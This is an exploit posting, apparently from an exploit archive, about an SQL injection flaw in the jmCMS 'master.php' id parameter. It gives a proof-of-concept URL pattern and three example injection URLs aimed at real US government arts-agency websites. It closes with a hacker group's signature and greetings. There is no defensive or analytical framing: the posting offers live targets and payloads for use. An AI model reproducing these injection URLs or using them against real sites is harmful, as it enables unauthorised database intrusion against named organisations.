jmCMS SQL injection Vulnerability

##################################################
# Exploit Title: jmCMS SQL injection Vulnerability
# Date: 07/06/2012
# Author: Elite Trojan
# Category:: webapps
# Google dork: N/A
# Tested on: linux + windows
##################################################

[~]Exploit/p0c :

http://site.com/jmCMS/master.php?id=[sql injection]

[+]Examples :

http://www.nea.gov/honors/jazz/jmCMS/master.php?id='
http://arts.endow.gov/honors/jazz/jmCMS/master.php?id=1994_01'
http://arts.gov/honors/jazz/jmCMS/master.php?id=1994_02'
+--------------------------------------------------+
[»]                    #-DzMafia-#
[»] We are : password, eliteTrojan, gel-dz, BackUp
+--------------------------------------------------+
F0llow Us at : www.fb.me/Ma.dz.fia
+---------------------------------------------------+
[»] Greetz to :
[ TrOon*Aghilas*r00t_dz*Hacker-fire*Vaga-hacker*Imed Lakamora*Evil-Dz ]
[ & -> !Muslims!*Mosta*team152*Inj3ct0r*Exploit4arab ]
[ And all my Freinds + Algerian Hackers ]
-----------------------------------------------------+
DzMafia © 2012 All rights reserved.



#  0day.today [2018-01-10]  #